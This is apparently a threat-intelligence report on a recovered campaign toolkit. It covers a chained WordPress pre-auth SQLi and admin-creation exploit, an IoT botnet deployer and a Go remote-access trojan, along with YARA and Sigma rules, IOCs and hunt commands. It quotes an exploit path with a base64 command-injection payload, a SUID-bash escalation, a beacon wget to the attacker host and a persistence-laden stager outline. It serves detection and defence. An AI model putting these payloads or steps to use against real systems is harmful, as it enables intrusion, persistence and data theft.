00. Key Findings
unix.MemfdCreate for in-memory Linux execution (zero disk artifact). Windows variant uses LoadLibraryEx + GetProcAddress for DLL injection. TLS stack includes MLKEM (post-quantum) and ECH. Primary cipher: ChaCha20Poly1305 AEAD. Build path: D:/BIN_Research/Knowledge/Defense-Evasion/go-agent-tcp.
/v1 route-confusion desync → UNION/blind SQLi → oEmbed cache poisoning → customize_changeset pivot → POST /wp/v2/users admin creation (pre-auth) → plugin webshell. Affects WP 6.9.0–7.0.1. Admin account and webshell auto-deleted post-session.
.uniFi-core, cache-mgr, syslog-ng, dbusd. Deploy scripts written in Mandarin Chinese.
falling back to SRX320 raw exec: %q#!/bin/sh — an explicit Juniper SRX320 firewall fallback execution path. This extends targeting beyond IoT into enterprise network infrastructure, adding a significant threat escalation vector not evident from scripts alone.
disguiseIFEO writes own path as Debugger value under Image File Execution Options\ — hijacks legitimate process launches. Linux: prctl PR_SET_NAME + separate spoofArgv defeat both ps and /proc/self/status simultaneously. daemonize forks to background, detaches from terminal. No EDR-visible artifacts.
handleProxyStart/Stop + handleSOCKS5 — the agent acts as a full SOCKS5 proxy for operator lateral movement. Windows PE implements CreatePseudoConsole (ConPTY) for interactive terminal sessions with proper resize. libp2p peer ID persisted at ~/.p2p/peer_id indicates P2P C2 channel in development.
01. Executive Overview
During continuous monitoring operations, an attacker-controlled open directory on a staging server was discovered — left browsable without authentication. The repository exposed a complete unified attack platform active since July 10, 2026: a WordPress exploitation toolkit leveraging a pre-authentication SQL injection in WordPress core, and a large-scale IoT botnet targeting Ubiquiti, D-Link, and Totolink devices. The open directory is the source of recovered artifacts, not the primary C2; agent communications route independently to v9g6.my:443.
Both attack vectors — WordPress exploitation and IoT compromise — are part of a single campaign and deliver the same payload: Agent-TCP, a cross-platform Go RAT compiled for 14 CPU architectures. Unpacked binary analysis reveals capabilities well beyond what the deployment scripts suggest — including in-memory fileless execution via Linux MemfdCreate, Windows DLL injection, post-quantum TLS (MLKEM), and an explicit Juniper SRX320 firewall execution fallback. The operator's development machine path leaked through the binary (see §05 Build Metadata).
Note: Full source code, deployment logs, target lists, and operator scripts were recovered from the open directory without authentication.
Operator scripts contain Mandarin Chinese comments (批量部署, 架构映射, 持久化, 提权到 root). A dedicated target list focused on Chunghwa Telecom's network was recovered, along with a separate HNAP reconnaissance directory. A LoongArch64 binary variant is included in the payload set. No attribution to any specific threat actor is made.
02. Infrastructure Architecture
The infrastructure separates three distinct roles across two servers. The staging server — its open directory was the source of all recovered artifacts — separates artifact delivery from C2. Deployed agents do not report back here for tasking; they connect independently to v9g6.my:443. The :8443 port only receives lightweight heartbeat pings from shell-persistence scripts, not full RAT sessions.
| Endpoint | Role | Key Files / Function |
|---|---|---|
| [staging-server]:80 | Staging / Artifact Distribution | agent_linux_*, agent_windows_amd64.exe, wp2shell_stager.sh — open directory (no auth) |
| [staging-server]:8443 | Deploy Scripts + Heartbeat Receiver | dbusd_*, stager.sh, dropper.sh, persist.sh — /beacon endpoint (shell-only pings) |
| v9g6.my → 202.61.136.40 | RAT C2 (primary — agent comms) | Full TCP/TLS control channel · ChaCha20Poly1305 · tasking, exec, upload, SOCKS5 |
| 43.161.245.209 | Secondary C2 — Under Investigation | Multiple associated domains — potential infrastructure overlap with this campaign |
PC-KGE5382 checking in to v9g6.my:8443. Server returns PL=22 RID=4000 confirming active beacon session.Infrastructure Topology
Exploitation Surface
| CVE / Vulnerability | Target | Access Path |
|---|---|---|
| CVE-2026-63030 | WordPress 6.9.0–7.0.1 Core | serve_batch_request_v1() route-confusion desync → unauthenticated /wp-json/batch/v1 SQLi (UNION/blind/error) |
| CVE-2026-60137 | WordPress 6.9.0–7.0.1 Core | POST /wp/v2/users authz bypass via desync'd handler → zero-credential administrator creation |
| CVE-2021-36260 | Ubiquiti UniFi Network App | /api/auth/validate-sso/..%2f..%2fproxy/…/latest_package?pkg_name=<b64>&by_cmd=true |
| CVE-2026-34908 | D-Link HNAP / UPnP | stager.sh — HNAP post-exploit → dbusd_* dropper |
| CVE-2026-1547 | Totolink routers | install.sh — mips/arm arch, cron + rc.local persist |
| DIR-850L HNAP | D-Link DIR-850L | dropper.sh → busybox-mipsel + telnetd -p 9999 |
| SRX320 (binary) | Juniper SRX320 firewall | Embedded fallback path in agent binary — raw exec via shell |
03. WordPress Pre-Auth RCE — wp2shell (CVE-2026-63030 + CVE-2026-60137)
The wp2shell toolkit chains two WordPress Core CVEs to achieve zero-credential remote code execution. CVE-2026-63030 is a route-confusion desync in serve_batch_request_v1(): the function builds two parallel arrays ($matches and $validation) indexed by the same offset. A sub-request failing wp_parse_url() is appended to $validation but not to $matches, causing array desync — a subsequent request is dispatched under the wrong (unauthenticated) handler, enabling UNION/blind/error-based SQLi via the oEmbed cache and a customize_changeset pivot. CVE-2026-60137 is an authorization bypass in POST /wp/v2/users that allows the same desync'd unauthenticated request to create a WordPress administrator — no credentials required at any step. Affected: WordPress 6.9.0–7.0.1. Fixed: 7.0.2 / 6.9.5.
Six-Step Exploitation Chain
GET /wp/v2/posts/999999 request under get_items(). author_exclude parameter maps to WP_Query author__not_in, which is interpolated into SQL — UNION/error/blind extraction all available.wp_posts rows cause WordPress to render [embed] shortcodes, creating real oembed_cache database entries for attacker-controlled URLs. IDs recovered via SQLi.customize_changeset → nav_menu_item → request post types, using recovered oEmbed cache IDs as parent pointers. A single batch request triggers the chain.POST /wp/v2/users creates a wp2_<nonce> administrator with email @wp2shell.invalid, exercised through the same route-confusion dispatch — zero credentials required.wp2shell_stager.sh runs via webshell: detects arch (uname -m), downloads matching agent from the staging server, establishes persistence. Webshell and admin account auto-deleted.Exploitation Flow — wp2shell
SQLi extraction methods: UNION (1 req/value, reflects via ||HEX(value)|| in post_title); Error-based EXTRACTVALUE (~15 bytes/req, requires WP_DEBUG); Blind binary search (~8 req/char, X-WP-Total oracle). Tool auto-selects. None of the read methods write database rows.
Post-Compromise Stager
# wp2shell_stager.sh — persistence summary
VPS="http://[redacted]:80"
AGENT_PATH="/tmp/.cache-mgr" # dot-prefix hidden
# Multi-fallback download: curl → wget → python3
# Architecture mapping: x86_64/aarch64/armv5/armv7/mips*/ppc64*
# Root persistence (6 concurrent methods):
1. crontab @reboot + */30 /etc/crontab
2. /etc/rc.local or /etc/rc.d/rc.local
3. systemd: /etc/systemd/system/cache-mgr.service (Restart=always, 30s)
4. /etc/init.d/cache-mgr
5. /etc/profile, /etc/bashrc, /etc/bash.bashrc injection
6. /etc/crontab direct write
# User persistence (www-data / non-root):
~/.bashrc, ~/.profile, ~/.bash_profile injection
crontab @reboot (user-level)
/etc/cron.d/cache-mgr if writable
04. IoT Botnet — CVE-2021-36260 + Multi-Vector
The IoT deployment pipeline uses batch_deploy.py and batch_deploy_full.py to automate mass compromise of Ubiquiti UniFi devices. The exploit path leverages CVE-2021-36260: a path traversal in the SSO validate endpoint combined with command injection via pkg_name, allowing unauthenticated root RCE on the UniFi controller.
Exploit Path — CVE-2021-36260
# batch_deploy.py — exploit path (from unpacked binary correlation)
BYPATH = "/api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package"
# Payload delivery — base64-encoded shell command:
b64 = base64.b64encode(cmd.encode()).decode()
payload = f">/dev/null 2>&1 || true ; echo {b64} | base64 -d | sh ;"
path = f"{BYPATH}?pkg_name={quote(payload)}&by_cmd=true"
# Unauthenticated GET to HTTPS:443 → root RCE
# Timing oracle for blind verification: sleep {N}s delay → elapsed > N-0.5
Privilege Escalation + Deployment
# Escalation via passwordless sudo (observed in deploy logs)
sudo -n chmod 4755 /bin/bash # SUID bash
bash -p -c '<command>' # execute as root
sudo -n chmod 0755 /bin/bash # restore (cover tracks)
# Agent masquerade on UniFi devices:
AGENT_PATH = "/usr/local/bin/.uniFi-core" # hidden, mimics legitimate binary
SVC_NAME = "uniFi-core" # systemd service impersonation
# Heartbeat — every 10 minutes via cron:
wget -qO /dev/null "http://[redacted]:8443/beacon?host=$(hostname)&arch=$(uname -m)&id=..."
Agent Architecture Coverage
| Binary | Architecture | Primary Targets |
|---|---|---|
| agent_linux_amd64 | x86-64 | UniFi on x86 servers, general Linux |
| agent_linux_arm64 | AArch64 | UniFi Dream Machine, UDM-Pro, Dream Router, UDR |
| agent_linux_arm5/7 | ARMv5/v7 | Older routers, embedded Linux |
| agent_linux_mips/mipsle | MIPS BE/LE | D-Link, TP-Link, Netgear legacy |
| agent_linux_mips64/64le | MIPS64 | Enterprise networking equipment |
| agent_linux_ppc64/ppc64le | PowerPC 64 | IBM embedded, older enterprise |
| agent_linux_riscv64 | RISC-V 64 | Emerging embedded Linux platforms |
| agent_linux_loong64 | LoongArch 64 | PRC-manufactured hardware (Loongson CPUs) |
| agent_windows_amd64.exe | x86-64 PE | Windows servers and workstations |
| dbusd_mipsbe/mipsle | MIPS | D-Link, consumer routers (dbus masquerade) |
| dbusd_arm/aarch64 | ARM/AArch64 | ARM IoT devices (DIR-868L, etc.) |
| dbusd_x86_64 | x86-64 | x86 IoT, normal C2 port |
| dbusd_x86_64_443 | x86-64 | x86 IoT variant, port 443 C2 |
05. Agent-TCP Binary Analysis — Unpacked
Both agent binaries (agent_linux_amd64 unpacked: 6.57 MB; agent_windows_amd64.exe unpacked: 6.81 MB) were analyzed post-UPX decompression. Build flags -ldflags="-s -w" strip symbols, but Go module metadata, type strings, and internal package paths survive in the binary. The following capabilities were extracted directly from string analysis of the unpacked binaries.
Architectural note — agent vs. exploit chain: Agent-TCP is a post-exploitation C2 agent, not a scanner or exploiter. It contains no built-in port scanning, CVE exploit code, or credential spraying. Initial access (WordPress REST API abuse, IoT CVEs) is performed by separate scripts recovered from the open directory staging server. Once deployed, the agent receives operator commands over v9g6.my:443 — any further scanning or lateral movement is executed remotely by the operator via handleExec / handleMemExec (fileless payload staging) and handleSOCKS5 (network pivoting), not by autonomous agent logic.
Build Metadata
| Field | Value | Significance |
|---|---|---|
| Module path | agent | Internal module name, no public registry |
| Version | v0.0.0-20260703114451-ccc2d93ad4e3+dirty | Commit hash + dirty flag = active development |
| Go version | go1.26.4 | Released ~2026, current at compile time |
| Build path | D:/BIN_Research/Knowledge/Defense-Evasion/go-agent-tcp | Operator dev machine: Windows (D: drive), deliberately organized under "Defense-Evasion" |
| Internal packages | agent/internal/handler, agent/internal/protocol | Structured handler and protocol layers |
| Linux SHA256 | 9c285fe3a491ee6a6f872ae71d47dfe29e44a40b9e7fcba85a39a2368584333a | Packed binary |
| Windows SHA256 | 4ff527e0d8fc36a99a491bc69a9cabeb055a4be470e22ec3da8e8bb741be9efc | Packed binary |
Agent-TCP — Platform Capability Map
Capability Inventory — Extracted from Binary
| Capability | Evidence (Symbol / String) | Platform | Severity |
|---|---|---|---|
| In-Memory Fileless Execution | unix.MemfdCreate, mmap, mremap, munmap | Linux | CRITICAL |
| DLL Injection | LoadLibraryEx, GetProcAddress, loadlibrary, getprocaddress | Windows | CRITICAL |
| Juniper SRX320 Exec | falling back to SRX320 raw exec: %q#!/bin/sh | Linux/embedded | CRITICAL |
| Post-Quantum TLS (MLKEM) | mlkemCiphertextSize, mlkem.encryptionKey, tlsmlkem flag | Both | HIGH |
| Encrypted C2 (AEAD) | chacha20poly1305.chacha20Poly1305Seal/Open, poly1305, hkdf | Both | CRITICAL |
| File Upload / Exfiltration | handler.handleUpload, protocol.UploadData, protocol.UploadReqData | Both | CRITICAL |
| Self-Deletion | handler.selfDeleteLinux, handler.selfDeleteWindows, os.Remove, Fchmod | Both | HIGH |
| Systemd User Persistence | handler.installSystemdUserService | Linux | HIGH |
| SOCKS5 Proxy | handleProxyStart, handleProxyStop, handleSOCKS5, ProxyConfig, ProxyStartReqData | Both | CRITICAL |
| ConPTY Interactive Shell (Windows) | CreatePseudoConsole, ResizePseudoConsole, DisconnectNamedPipe | Windows | CRITICAL |
| IFEO Registry Hijack (Windows) | disguiseIFEO, Image File Execution Options\, GetCurrentProcessPath, DisguiseProcessName | Windows | CRITICAL |
| Double Argv Spoof (Linux) | prctl PR_SET_NAME, spoofArgv, DisguiseProcessNameLinux, disguiseProcess, cleanEnv | Linux | CRITICAL |
| File Download (C2 → Target) | handleDownload, DownloadData, DownloadReqData, json:"gzip" | Both | HIGH |
| Directory Listing | handleFileList, FileListReqData | Both | HIGH |
| Process Enumeration (Windows) | Module32NextW, Thread32First, EnumProcesses | Windows | HIGH |
| Daemonize (Linux) | main.daemonize — fork/setsid, detach from tty | Linux | HIGH |
| SysV Init Persistence | installSysVInit (in addition to systemd) | Linux | HIGH |
| libp2p P2P Channel | collectLibp2pPeerID, ~/.p2p/peer_id, \.p2p\peer_id | Both | HIGH |
| External IP Enumeration | collectInternetIP — 5 geo-IP services queried in parallel goroutines | Both | HIGH |
| Host Profiling | collectCPUArch/Info/Usage, collectUsername, wmicValue (WMIC queries), /sys/class/dmi/id/chassis_type | Both | HIGH |
| Container Detection | /proc/self/cgroup, /proc/self/auxv, /proc/self/gid_map | Linux | HIGH |
| Ordered Cleanup | cleanupPersistenceArtifacts → selfDelete (ordered, not immediate) | Both | HIGH |
| Anti-Debug (Ptrace) | runtime.pTraceState, Ptrace, sleepController, sleepRatio | Linux | MEDIUM |
| HTTP/2 + HPACK C2 | net/http2/hpack, AppendHuffmanString, NewDecoder/Encoder | Both | MEDIUM |
| Windows Registry Access | RegOpenKeyEx, RegQueryValueEx, \\MVT, \\System | Windows | HIGH |
MemfdCreate analysis: The Linux variant calls unix.MemfdCreate to create an anonymous in-memory file descriptor, writes payload to it, and executes it via /proc/self/fd/N — no disk write occurs. Combined with the self-delete function, successful execution leaves zero persistent artifacts on disk. Standard file-based forensics will find nothing.
Post-quantum TLS: MLKEM (Module Lattice Key Encapsulation Mechanism, formerly Kyber) is present in the TLS stack — unusual for commodity malware. The tlsmlkem build debug flag confirms this was explicitly configured, not an incidental dependency.
C2 Protocol Stack
# Reconstructed from binary string analysis:
Transport: TCP → TLS 1.3 (ECH enabled, MLKEM key exchange)
Framing: HTTP/2 (HPACK header compression)
Encryption: ChaCha20Poly1305 AEAD (primary)
AES-GCM (fallback)
Key Setup: RSA asymmetric key exchange → HKDF derived session keys
Auth: base64.Encoding (payload transport layer)
Recon: json:"username,omitempty" json:"cpu_uname,omitempty"
→ structured JSON check-in with hostname, arch, CPU info
Protocol Wire Format — Reconstructed
Commands are uint16 opcodes dispatched through a map[uint16]func(*protocol.ServerRequest)*protocol.ResultReport table. Each frame is length-prefixed with a header area and encoded data body. A rotating 16-byte auth token is updated on every server ACK.
// Server → Agent command envelope (JSON over custom frame)
{
"cmd": uint16, // opcode — dispatch table key
"data": <typed payload>, // handler-specific struct
"taskid": string,
"uuid": string
}
// Server ACK format (rotates auth token):
ACK_FROM_SERVER: PL=%d RID=%d // Payload Length + Request ID
// "token updated from server ACK" — 16-byte token rotated each ACK
// Full beacon JSON (NodeOnlineData — all fields omitempty):
{
"computer_name": "",
"cpu_cores": 0,
"cpu_info": "",
"cpu_uname": "",
"cpu_usage_percent": 0.0,
"device_type": "", // DMI chassis type — VM detection
"disk_space": "",
"internet_ip": "", // queried from 5 geo-IP services
"intranet_ip": "",
"language": "",
"libp2p_peer_id": "", // ~/.p2p/peer_id or \.p2p\peer_id
"memory_total_mb": 0,
"memory_used_mb": 0,
"os_version": "",
"timezone": "",
"username": ""
}
// External IP — 5 services queried in parallel (goroutines):
http://ipinfo.io/ip · http://icanhazip.com · http://api.ipify.org
http://ifconfig.me/ip · http://checkip.amazonaws.com
Complete Handler Dispatch Table
| Handler | Description | Protocol Struct | New? |
|---|---|---|---|
| handleExec | Async shell command execution | ExecReqData / ExecResult | known |
| handleRawExec | Raw exec without shell wrapper, supports gzip payload | ExecReqData | NEW |
| handleMemExec | In-memory fileless exec via MemfdCreate / gzip | MemExecPayload | known |
| handleUpload | File exfiltration: target → C2 (multipart HTTP POST) | UploadData / UploadReqData | known |
| handleDownload | File delivery: C2 → target (supports gzip, replace) | DownloadData / DownloadReqData | NEW |
| handleFileList | Remote directory listing | FileListReqData | NEW |
| handleProxyStart | Start SOCKS5 proxy listener | ProxyConfig / ProxyStartReqData | NEW |
| handleProxyStop | Stop SOCKS5 proxy | — | NEW |
| handleSOCKS5 | Individual SOCKS5 connection handler | — | NEW |
| handleHeartbeat | Keepalive / ping with SendPingTimeout | — | NEW |
| handlePersistence | Install systemd user service or SysV init (Linux) / Windows Service | — | known |
| handleSelfDestruct | cleanupPersistenceArtifacts → selfDelete (ordered) | — | known |
Anti-Analysis — Advanced Techniques
Windows IFEO Abuse: disguiseIFEO writes the agent's own path as the Debugger value under SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<target_process>. When the targeted process launches, Windows invokes the "debugger" (the agent) instead — making the agent appear to be a legitimate system process from the perspective of process list, parent-child tree, and Windows Event Log. Combined with cleanEnv (environment sanitization for child processes) and HideWindow (no console), this is nearly invisible to standard host monitoring.
// Linux: three-layer process masquerade
main.disguiseProcess()
├── loader.DisguiseProcessNameLinux()
│ ├── prctl(PR_SET_NAME, "fake_name") // defeats /proc/self/status Name:
│ └── spoofArgv(argv[0], "fake_name") // defeats ps aux + /proc/self/cmdline
└── main.daemonize() // fork → setsid → detach tty
// Windows: IFEO hijack + ConPTY interactive shell
loader.disguiseIFEO()
└── SOFTWARE\...\Image File Execution Options\<legit.exe>
└── Debugger = C:\...\agent_windows_amd64.exe
// Interactive shell (Windows — full terminal, not piped cmd.exe):
CreatePseudoConsole() + ResizePseudoConsole() // ConPTY — proper terminal sizing
Module32NextW / Thread32First / EnumProcesses // process enumeration for injection target
// String obfuscation key derivation:
obfs.buildKey(hash/crc32) // CRC32-based key → S-box substitution (obfs.S)
// C2 IP/domain hidden behind this — NOT plaintext
06. Full Attack Chain
Chain A — WordPress to RAT
/wp-json/batch/v1 for route-confusion marker pattern: parse_path_failed + block_cannot_read + rest_batch_not_allowed — confirms vulnerability without SQLi payload.wp_posts rows creating changeset → nav_menu_item → request graph. A single batch POST triggers WordPress to write real oEmbed cache entries.POST /wp/v2/users dispatched via route-confusion creates wp2_<nonce> administrator. No credentials. Account auto-deleted at session end.wp2shell_stager.sh — arch detection, agent download from :80, 6-method persistence. Webshell deleted./tmp/.cache-mgr runs in background, beacons to v9g6.my:443 over TLS 1.3 with ChaCha20Poly1305. MemfdCreate used if fileless execution is possible.Chain B — IoT Mass Compromise
confirmed.json supplies pre-validated IP:port:arch tuples. batch_deploy_full.py operates 5 concurrent threads.pkg_name. Timing oracle confirms execution.sudo -n chmod 4755 /bin/bash → bash -p -c for root execution. Permissions restored afterward./usr/local/bin/.uniFi-core. Launched via nohup. PID confirmed via timing oracle.uniFi-core.service), crontab @reboot, init.d script, rc-update. All deployed simultaneously.v9g6.my:443 RAT C2.07. Geographic Targeting — Observable Facts
Deployment logs recovered from the open directory confirm at least 167 compromised IoT devices. Victim devices span three countries: Taiwan (dedicated target list against Chunghwa Telecom's network), Japan (devices confirmed in deployment runs), and United States (IoT devices observed in botnet deployment logs). No geographic victim records exist for the WordPress exploitation component.
Taiwan — Dedicated Targeting Operation
A dedicated file targets_TW_chunghwa.txt recovered from the open directory contains IP addresses on Chunghwa Telecom's network (AS3462), Taiwan's primary ISP. A separate reconnaissance directory tw_recon_results/ contains device fingerprinting output specific to those targets — indicating active pre-exploitation scanning rather than passive collection. No attribution to any specific threat actor or government is made from these observations.
Observable indicators (stated as facts, not attribution): (1) Dedicated target list for AS3462 Chunghwa Telecom. (2) Active HNAP model fingerprinting with results saved to tw_recon_results/hnap_models.txt. (3) D-Link DIR-868L confirmed on unpatched 2017 firmware in those results. (4) Operator scripts written in Mandarin Chinese. (5) A LoongArch64 binary is included in the payload set alongside the standard architectures. These are direct observations from recovered files — any further inference is left to the reader.
| Region | Vector | Targets | Character |
|---|---|---|---|
| United States | IoT CVEs — Ubiquiti, D-Link, Totolink | IoT devices confirmed in deployment logs | Opportunistic — botnet node deployment |
| Japan | IoT CVEs — Totolink, D-Link | Confirmed from deployment logs | Targeted — devices observed in deployment runs |
| Taiwan (AS3462) | IoT CVEs — D-Link, UniFi, Totolink | Chunghwa Telecom hosts | Deliberate — dedicated target list + recon |
Taiwan Infrastructure Detail
| Detail | Value | Assessment |
|---|---|---|
| ASN / ISP | Chunghwa Telecom, Taiwan | Primary national ISP — critical infrastructure |
| Target count | [redacted] | Dedicated list, not subset of global scan |
| Confirmed device | D-Link DIR-868L FW=1.13/1.20 (2017) | Unpatched ~9-year-old firmware |
| Recon artifacts | tw_recon_results/hnap_models.txt | Active fingerprinting conducted |
| Operator language | Mandarin Chinese (simplified) | Observed in deploy script comments |
| LoongArch binary | agent_linux_loong64 | LoongArch64 architecture variant present in payload set |
08. MITRE ATT&CK Mapping
09. Detection
YARA
rule AgentTCP_Packed {
meta:
description = "Agent-TCP RAT — UPX packed binary (wp2shell campaign)"
hash_linux = "9c285fe3a491ee6a6f872ae71d47dfe29e44a40b9e7fcba85a39a2368584333a"
hash_windows = "4ff527e0d8fc36a99a491bc69a9cabeb055a4be470e22ec3da8e8bb741be9efc"
strings:
$upx = { 55 50 58 21 0D 0A 1A 0A }
$build = "go-agent-tcp" ascii
condition:
(uint32(0) == 0x464C457F or uint16(0) == 0x5A4D) and $upx and $build
}
rule AgentTCP_Unpacked {
meta:
description = "Agent-TCP RAT — unpacked binary or memory scan"
strings:
$path = "D:/BIN_Research/Knowledge/Defense-Evasion/go-agent-tcp" ascii
$mlkem = "mlkemCiphertextSize" ascii
$memexec = "handleMemExec" ascii
condition:
$path or ($mlkem and $memexec)
}
rule wp2shell_Stager {
meta:
description = "wp2shell post-compromise stager script"
hash = "8d7885a574459908cd70d3718119a31a4a6c95052e3d1548feeccfffa00d4cde"
strings:
$tag = "[wp2]" ascii
$beacon = "/beacon?host=" ascii
condition:
$tag and $beacon
}
Sigma
title: WordPress batch/v1 Route-Confusion SQLi (CVE-2026-63030 / wp2shell)
id: 7f3a8c20-e14b-4d92-b561-9c0d3f5e7a81
status: stable
tags: [attack.initial_access, attack.t1190]
logsource: {category: webserver}
detection:
selection:
cs-uri-stem|contains: '/wp-json/batch/v1'
cs-uri-query|contains: 'author_exclude'
condition: selection
level: critical
---
title: Agent-TCP Process Masquerade (wp2shell campaign)
id: 3d8b5f92-a741-4c1e-8b03-6e2d9f0c4a57
status: stable
tags: [attack.defense_evasion, attack.t1036.005]
logsource: {category: process_creation, product: linux}
detection:
selection:
Image|endswith:
- '/usr/local/bin/.cache-mgr'
- '/usr/local/bin/.uniFi-core'
- '/usr/local/bin/dbusd'
- '/usr/local/bin/syslog-ng'
condition: selection
level: high
---
title: Agent-TCP IFEO Debugger Hijack (Windows)
id: 5a1c7e83-2b94-4f60-9d12-8c3e0b5f7a24
status: stable
tags: [attack.defense_evasion, attack.t1546.012]
logsource: {category: registry_set, product: windows}
detection:
selection:
TargetObject|contains: '\Image File Execution Options\'
TargetObject|endswith: '\Debugger'
Details|contains: 'agent_windows_amd64'
condition: selection
level: high
10. Indicators of Compromise
Network
| Type | Indicator | Role | Status |
|---|---|---|---|
| DOMAIN | v9g6.my | RAT C2 — primary agent communication | ACTIVE |
| IP | 202.61.136.40 | RAT C2 resolved IP (v9g6.my) | ACTIVE |
| IP | 43.161.245.209 | Secondary C2 infrastructure — multiple associated domains, campaign correlation under investigation | INVESTIGATING |
File Hashes — Agent-TCP (UPX packed)
| Filename | Architecture | SHA-256 | Size |
|---|---|---|---|
| agent_linux_amd64 | Linux x86-64 | 9c285fe3a491ee6a6f872ae71d47dfe29e44a40b9e7fcba85a39a2368584333a | 2.6 MB |
| agent_linux_arm64 | Linux ARM64 | 8d8280f0f12c656a5c87ac7d2f72417fdf36a4300276efeb4556060f1c98b461 | 2.3 MB |
| agent_linux_arm7 | Linux ARMv7 | f51a9f65354d24fe29b06e8b89bb00ffd188e5093f92145895d564b331ce4a1b | 2.4 MB |
| agent_linux_arm5 | Linux ARMv5 | 537aca3cf179c142a53346e7ad4da80757d42637489ee0bf1bc3ddfc097073e5 | 2.4 MB |
| agent_linux_mips | Linux MIPS BE | 1dbc908b691e28c0671237f45b9573af2420b0c02959bc6b2dc9bca20a70cce5 | 2.5 MB |
| agent_linux_mipsle | Linux MIPS LE | 640b82f6941327dd907ba66c6a4e79f864ebebc57fc3c8edd448ce07e64d6d55 | 2.5 MB |
| agent_linux_mips64 | Linux MIPS64 BE | c1b9c1202b38acb5dcda58d49249f2987cfc31cdb2a48aa501bca77dd59a7a41 | 6.9 MB |
| agent_linux_mips64le | Linux MIPS64 LE | b1b1b7b514c38922e8e276e082349b07c304bd3218f397cb2dbf753d86b60442 | 6.8 MB |
| agent_linux_ppc64 | Linux PPC64 BE | 2620182571d87f9b26ceae2427d7dbe061bdb7d1e6bdf8f1445e8fc4e2852041 | 2.3 MB |
| agent_linux_ppc64le | Linux PPC64 LE | bcf0c261299f471ab61e7ac296fb8876088fcfca71529bad5d5b2fdc057bd92c | 2.4 MB |
| agent_windows_amd64.exe | Windows x86-64 | 4ff527e0d8fc36a99a491bc69a9cabeb055a4be470e22ec3da8e8bb741be9efc | 2.7 MB |
File Hashes — Deployment Scripts
| Filename | Description | SHA-256 | Size |
|---|---|---|---|
| wp2shell Stager | Post-exploit stager — arch detection, agent download, 4-method persistence | 8d7885a574459908cd70d3718119a31a4a6c95052e3d1548feeccfffa00d4cde | 6.2 KB |
Filesystem & Persistence Artifacts
| Type | Artifact | Platform | Notes |
|---|---|---|---|
| PATH | /usr/local/bin/.uniFi-core | Linux | Agent binary — dot-prefix hidden, mimics Ubiquiti service |
| PATH | /usr/local/bin/.cache-mgr | Linux | Agent binary — dot-prefix hidden, generic cache name |
| PATH | /usr/local/bin/dbusd | Linux | Agent binary — mimics D-Bus daemon |
| PATH | /tmp/.cache-mgr | Linux | Initial drop path before persistence install |
| SERVICE | uniFi-core.service | Linux (systemd) | Persistence — mimics Ubiquiti UniFi service name |
| SERVICE | cache-mgr.service | Linux (systemd) | Persistence — alternative systemd unit name |
| SERVICE | S99dbusd | Linux (init.d) | Persistence — SysV init script, high run order |
| CRON | @reboot /usr/local/bin/.uniFi-core | Linux | Crontab persistence — reboot trigger |
| CRON | */10 * * * * wget … /beacon | Linux | Heartbeat beacon — every 10 minutes |
| PATH | /etc/profile | Linux | Shell config injection — agent launch on login |
| REGKEY | HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\*\Debugger | Windows | IFEO hijack — agent injected as debugger for target process |
11. Defensive Recommendations
Immediate Actions
| Priority | Action | Target |
|---|---|---|
| CRITICAL | Update WordPress to 7.0.2 or 6.9.5 — patches CVE-2026-63030 (route-confusion SQLi) and CVE-2026-60137 (zero-credential admin creation) | All WordPress 6.9.0–7.0.1 installations |
| CRITICAL | Block /wp-json/batch/v1 and ?rest_route=/batch/v1 at WAF; block unauthenticated POST /wp/v2/users until patched | WAF / CDN / edge |
| CRITICAL | Patch Ubiquiti UniFi Network Application (CVE-2021-36260) | All UniFi controllers |
| CRITICAL | Block staging server, 202.61.136.40, and 43.161.245.209 (C2 infrastructure) at perimeter | Firewall |
| HIGH | Block DNS resolution of v9g6.my | Internal DNS resolvers |
| HIGH | Search for cache-mgr.service, uniFi-core.service, S99dbusd on all Linux hosts | Linux endpoints, IoT |
| HIGH | Audit for wp2_-prefixed WordPress admin accounts | WordPress admin panels |
Forensic Hunt Commands
# Linux — binary and persistence artifacts
find /tmp /usr/local/bin -name ".cache-mgr" -o -name ".uniFi-core" -o -name "dbusd" 2>/dev/null
stat /tmp/.cache-mgr.log 2>/dev/null
systemctl status cache-mgr uniFi-core syslog-ng 2>/dev/null
crontab -l 2>/dev/null | grep -E "cache-mgr|uniFi|dbusd|beacon"
find /etc/systemd/system /etc/init.d -name "cache-mgr" -o -name "uniFi-core" -o -name "S99dbusd"
grep -r "[STAGING-IP]" /etc/ /root/.bashrc /etc/profile 2>/dev/null
# Check for MemfdCreate artifacts (process-level, no disk file)
ls -la /proc/*/fd/ 2>/dev/null | grep "memfd"
# WordPress admin audit
wp user list --role=administrator --fields=user_login,user_email 2>/dev/null | grep "wp2_\|wp2shell"